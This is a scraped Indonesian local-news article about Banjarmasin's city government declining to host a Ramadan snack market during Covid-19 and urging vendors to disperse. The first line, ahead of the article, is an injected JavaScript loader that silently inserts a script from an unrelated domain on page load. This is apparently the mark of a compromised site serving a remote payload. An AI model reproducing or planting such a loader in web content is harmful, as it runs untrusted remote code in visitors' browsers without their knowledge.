(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARMASIN – Pemko Banjarmasin tak memfasilitasi pedagang berjualan di pasar Ramadhan. Kebijakan ini dilakukan untuk menghindari kerumunan saat pandemi Covid-19.
Meski tetap memperbolehkan jualan, namun pemerintah berharap pedagang tak berkumpul pada satu titik. Hal tersebut diungkapkan oleh Kepala Dinas Kebudayaan dan Pariwisata (Disbudpar) Kota Banjarmasin, Ehsan El Haque usai mengikuti pertemuan dengan paguyuban pedagang kuliner yang dipimpin Plh Wali Kota Banjarmasin, Mukhyar, di balai kota Banjarmasin.
“Pemerintah kota hanya melarang diadakannya pasar wadai (jajanan) jika di satu tempat. Tapi kami memberikan saran, silahkan untuk menyebar saja dalam beberapa lokasi, agar tidak menumpuk,” ucap Ehsan.
“Kami sarankan mereka menyebar di lima wilayah Kecamatan sekitar beberapa puluh titik jadi tidak ada pengelompokan-pengelompokan yang mengundang orang banyak,” tambahnya.
Menurutnya, keputusan tersebut diambil melalui pertimbangan-pertimbangan yang menjadi perhatian Pemko Banjarmasin kepada masyarakat.
Baca juga : Warga Banjarmasin Berharap Putusan MK Jadi Titik Tolak bagi Kepemimpinan Pro Rakyat!
“Kita melihat banyak pihak yang berharap dan bergantung dari kegiatan pasar wadai. Tidak hanya pedagang tapi di situ ada pelayan dan lain-lainnya. Jadi tidak hanya melihat dari sisi pedagang saja,” ucapnya.
Walau demikian, Pemko Banjarmasin tidak menyediakan fasilitas untuk para pedagang di pasar wadai ramadhan. “Kita tidak memperbolehkan pasar wadai itu menggunakan fasilitas milik pemerintah kota,” tutur Ehsan.
Jadi, ia juga menyarankan kepada para pedagang yang ingin mengadakan pasar wadai ramadhan bisa bekerja sama dengan perusahaan swasta atau lainnya untuk memfasilitasi.
“Nah solusinya, para pedagang bisa menyebar di seluruh wilayah Kota Banjarmasin, bekerja sama dengan pihak ketiga, perusahaan atau masyarakat,” saran Ehsan.
Pemko berharap, kegiatan pasar wadai ramadhan nanti para pedagang dan pengunjung, tetap memperhatikan protokol kesehatan yang berlaku.
“Kita sarankan menyebar dipuluhan titik, yang mana disatu titiknya, hanya diisi empat orang pedagang saja. Tetapi nanti tetap akan ada kehadiran satgas untuk memantau bagaimana penerapan protokol kesehatan,” pungkasnya.(Kanalkalimantan/Tius)
KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More
KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More
KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More
KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More
This website uses cookies.